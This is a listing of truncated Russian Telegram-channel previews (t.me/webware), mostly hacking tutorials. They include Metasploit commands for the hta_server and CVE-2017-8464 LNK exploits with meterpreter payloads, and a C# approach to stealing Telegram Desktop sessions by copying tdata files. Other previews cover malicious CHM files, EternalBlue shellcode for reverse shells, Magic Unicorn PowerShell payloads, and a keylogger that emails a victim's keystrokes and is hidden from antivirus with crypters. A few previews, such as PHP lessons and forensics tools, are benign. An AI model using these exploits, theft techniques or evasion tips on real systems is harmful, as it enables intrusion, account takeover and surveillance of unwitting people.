https://t.me/webware Нам нужен эксклюзивный контент для нашего телеграм канала :) 1. Конкурс начинается 16.12.2017 и заканчивается 31.12.2017 в 23.59; 2. За каждую статью для канала автор получает 3 месяца премиум-подписки; 3. Дополнительно есть призовые места ЗА СТАТЬЮ (автор может быть 1 и тот же): 1 место - 1500 руб 2 место - 1000 руб 3 место - 500 руб 4. Требования: Статья публикуется в telegra.ph В статье НЕ МЕНЕЕ 3000 знаков без пробелов Должна быть уникальной (не менее 95% по плагитариусу) В начале с…

t.me/webware Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server. Появился он недавно в версии Metasploit Framework v4.12.34, так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся: > apt-get update && apt-get upgrade –y && apt-get dist-upgrade Запускаем Metasploit Framework: > msfconsole В появившейся консоли фреймворка пишем: use exploit/windows/misc/hta_serverset payload /windows/meterpr…

t.me/webware Решил поделиться с форумчанами способом, как смотреть новые серии сериала не выкачивая торрент, а смотря его напрямую. Но будучи поклонником терминала и минимализма, решил сделать это с небольшой долей красноглазия и танцами с бубном. ДЛЯ РАБОТЫ БЕЗ ПОДВИСАНИЙ ЭТОМУ СПОСОБУ ТРЕБУЕТСЯ НЕПЛОХАЯ СКОРОСТЬ ИНТЕРНЕТА! Для начала установим минималистичный плеер: apt-get install mplayer root@kali:~# mplayer -hUsage: mplayer [options] [url|path/]filenameBasic options: (complete list in the man page)…

t.me/webware Здравствуйте всем! Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел. И по этому решил написать свою первую тему на этом форуме. Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata: D877F783D5D3EF8C0 (последняя цифра может быть другой) D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой) Для примера я написал простенькую консольную програмку на C#: using System;using System.IO;using…

t.me/webware Привет колеги. )  Сегодня речь пойдет непосредственно о пост эксплуатации скомпрометированной системы (когда у нас есть командная строка удаленной windows машины от windows 7) и нам нужно расширить функционал своих возможностей с помощью метерпретер сессии метаслоита. Для этого нам отлично подойдет тулза от trustedsec ,которая носит названия Magic Unicorn.  Одна из ее возможностей - это создания команды для PowerShell ,что есть доверенным приложением Windows. Вообщем ближе к делу. Качаем: git clone…

t.me/webware В этой статье мы рассмотрим способ создания вредоносных программ в формате CHM. Давайте познакомимся с ним поближе. HTMLHelp (Comiled HTML Help) - формат файлов, выпущенный корпорацией Microsoft в 1997 году. Сам файл является комплексом сжатых HTML страниц алгоритмом LZX, которые могут хранить в себе вредоносные сценарии на VBScript или JavaScript. Этим мы с вами сегодня и воспользуемся. Просматривать CHM файлы можно с помощью стандартный средств просмотра Windows, поэтому каких либо больших зависимостей…

t.me/webware Недавно на секлабе появилась статья с похожим названием, а поскольку дело было вечером и делать было нечего - решил потестить. И так, инструменты: Kali Linux NASM Python v2.7 Metasploit Framework Тестируемый хост должен иметь включенную гостевую учетную запись(иначе получите ошибку) или известную пару логин:пароль! Шелл-код уровня ядра берем здесь: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm Проведем два вида атаки: 1. получим обратный шелл…

t.me/webware Вчера, вернувшись домой и переступив порог своей квартиры, я совершила то, что вошло в традицию: нажатием кнопки "Power" оживила своего приятеля. А он, неблагодарный, всё так-же хмуро смотрел на меня своим огромным чёрным глазом. Может быть, хоть это

t.me/webware Всем привет, смотрю тихо тут.... Вот и решил я сделать inject так сказать подать свежую идейку для размышлений, а точнее познакомить Вас с как мне кажется классным инструментом, который запоминает каждое нажатие жертвы и мало того присылает отчеты на Вашу GMAIL почту)) Весело, не правда ли? Надеюсь что он еще не палится антиками, а если и так то не забываем про всякого рода крипторы и джойнеры, миксеры и т.д. Барабанная дробь ...... Что он умеет: 1) логирует каждое нажатие клавиш (жертвы) 2) делает…

t.me/webware PwnPi - дистрибутив на базе Linux для пентеста на Raspberry Pi. В настоящее время он имеет 200 предустановленных инструментов сетевой безопасности для помощи пентестерам. Он базируется на Debian Wheezy и использует Openbox как оконный менеджер. PwnPi может быть легко настроен для отправки обратного соединения от внутренней целевой сети путем редактирования простого файла конфигурации. PwnPi поддерживает 512mb версии RPi. Официальный сайт проекта. Список инструментов:

t.me/webware Понадобилось мне зареверсить одно приложение и подумал, почему бы статью об этом не написать? При реверсинге может возникнуть 2 случая: 1. Простой: У вас на руках есть .apk файл приложения. Можно приступать к реверсу.​ 2. Сложный: Приложение есть только в googleplay. Прийдётся выковыривать приложение из телефона. Для этого случая понадобятся root права на андроид.​ Я начну со второго, а после этого перейдём к реверсу(самая лёгкая часть). Настраиваем ADB. Нам понадобится adb на компьютере: sudo…

t.me/webware Всем привет! Что-то сегодня меня пробило на статьи по SIP, эта, скорее всего, будет на сегодня завершающей. Просто хотел напомнить, что в состав Kali Linux давно входит SIPVicious. SIPVicious — это популярный набор инструментов для аудита систем голосовой связи на базе SIP (Session Initiation Protocol, протокол установки соединения). Этот набор использован для взлома и дальнейшего возможного использования серверов VoIP с целью звонков на дорогие платные номера или для голосового фишинга (vishing…

t.me/webware Привет! В этой статье хочу обратить ваше внимание на инструмент для аудита и атаки сетей, основой которых является протокол SIP. Mr.SIP - это инструмент, разработанный для аудита и моделирования SIP-атак. Первоначально он был разработан для использования в академической среде, для помощи в разработке новых видов DDoS-атак и защитных методов на основе SIP, а затем был переработан в полнофункциональный SIP-инструмент для тестирования на проникновение. В текущем состоянии, Mr.SIP состоит из четырех…

t.me/webware Всем привет дороге друзья или просто читатели нашего форума! Согодня речь пойдет о функциях. В прошлой части мы немного ознакомились с функциями и изучили циклы. [1] - Вспомним о функциях. Как вы знаете из прошлого урока(если говорить проще)

t.me/webware Всем Салам. Недавно спрашивал о том, стоит ли написать, цикл статей по PHP и конечно же я не имею ввиду статьи о том, как учить PHP, про условия или циклы, нет про это итак полно информации, но на всякий случай ниже я солью достаточно годный курс, чтобы не возникало вопрос, а где же учить все-таки. И так, я думал над циклом статей, все планировал и пришел к тому, что сделаю 2 небольших цикла статей для начинающих (с основами в PHP): Безопасность языка PHP. Тут будем расписывать всевозможные угрозы…

t.me/webware Привет! В этой статье предлагаю рассмотреть инструмент под названием AUMFOR. AUMFOR - автоматизированная программа для анализа содержимого памяти - основанная на графическом интерфейсе, она лучше всех поможет товарищу майору справиться со своей задачей раньше конца дня, и со спокойной душой уйти пить пиво с коллегами. В основной функционал входит анализ и точные отчеты о возможностях использования вредоносного ПО, при совершении преступления. AUMFOR - построен с использованием Django (веб-страницы…

t.me/webware Приветствую, сегодня хочу представить аудитории инструмент, целью которого является обфускация вашего, или где-то позаимствованного кода. Итогом будет, как обещают авторы, снижение агрессии на него АВ-программ. Я полагаю, не нужно обьяснять, что обфусцированные примеры не стоит постить на любимый многими «хакерами» ресурс. Вот собственно, Macro Pack: Macro Pack - это инструмент, используемый для автоматизации обфускации и генерации документов MS Office для проведения тестирования на проникновение.…

t.me/webware Здраствуйте, в данной статье я опишу способ для создания сесии с помощью флешки Скачиваем експлоит. (Вот все версии на которых "поддерживается" експлоит) 1. Нужно переименовать скачанный експлоит: cd /root/Загрузки/lsmv 42382.rb CVE_2017_8464_LNK_Rce.rb 2. Перемещаем файл: mv CVE_2017_8464_LNK_Rce.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ 3. Запускаем Metasploit и перезапускаем модули: msfconsolemsf>reload_all 4. Создадим полезную нагрузку: use exploit/multi/handlerset…

t.me/webware Приветствую! На этот раз я хочу представить довольно простой в освоении и применении инструмент для тестирования на проникновение в корпоративной среде. Собственно Web Breaker. Функциональное тестирование безопасности, на этапах разработки и выпуска программного обеспечения. WebBreakerпредоставляет возможности автоматизации и централизованного управления динамическим тестированием безопасности приложений (DAST) как часть вашего конвейера DevOps. WebBreaker позволяет всем членам жизненного цикла…

t.me/webware Добрый день,Друзья,Уважаемые Форумчане и Дорогие гости. Прежде чем,знакомить вас с потрясающим,на мой взгляд,framework-ом, не могу не отметить радость того,что на ресурсе появилось больше авторов с интересным материалом. Ну ,не буду отвлекаться от темы,скажу сразу,что инструмент меня впечатлил. Есть у него и небольшой недостаток,о чём расскажу ниже. Итак,Yuki Chan-это полностью автоматизированный инструмент для проведения пентеста. Работет он с огромным количеством модулей других замечательных…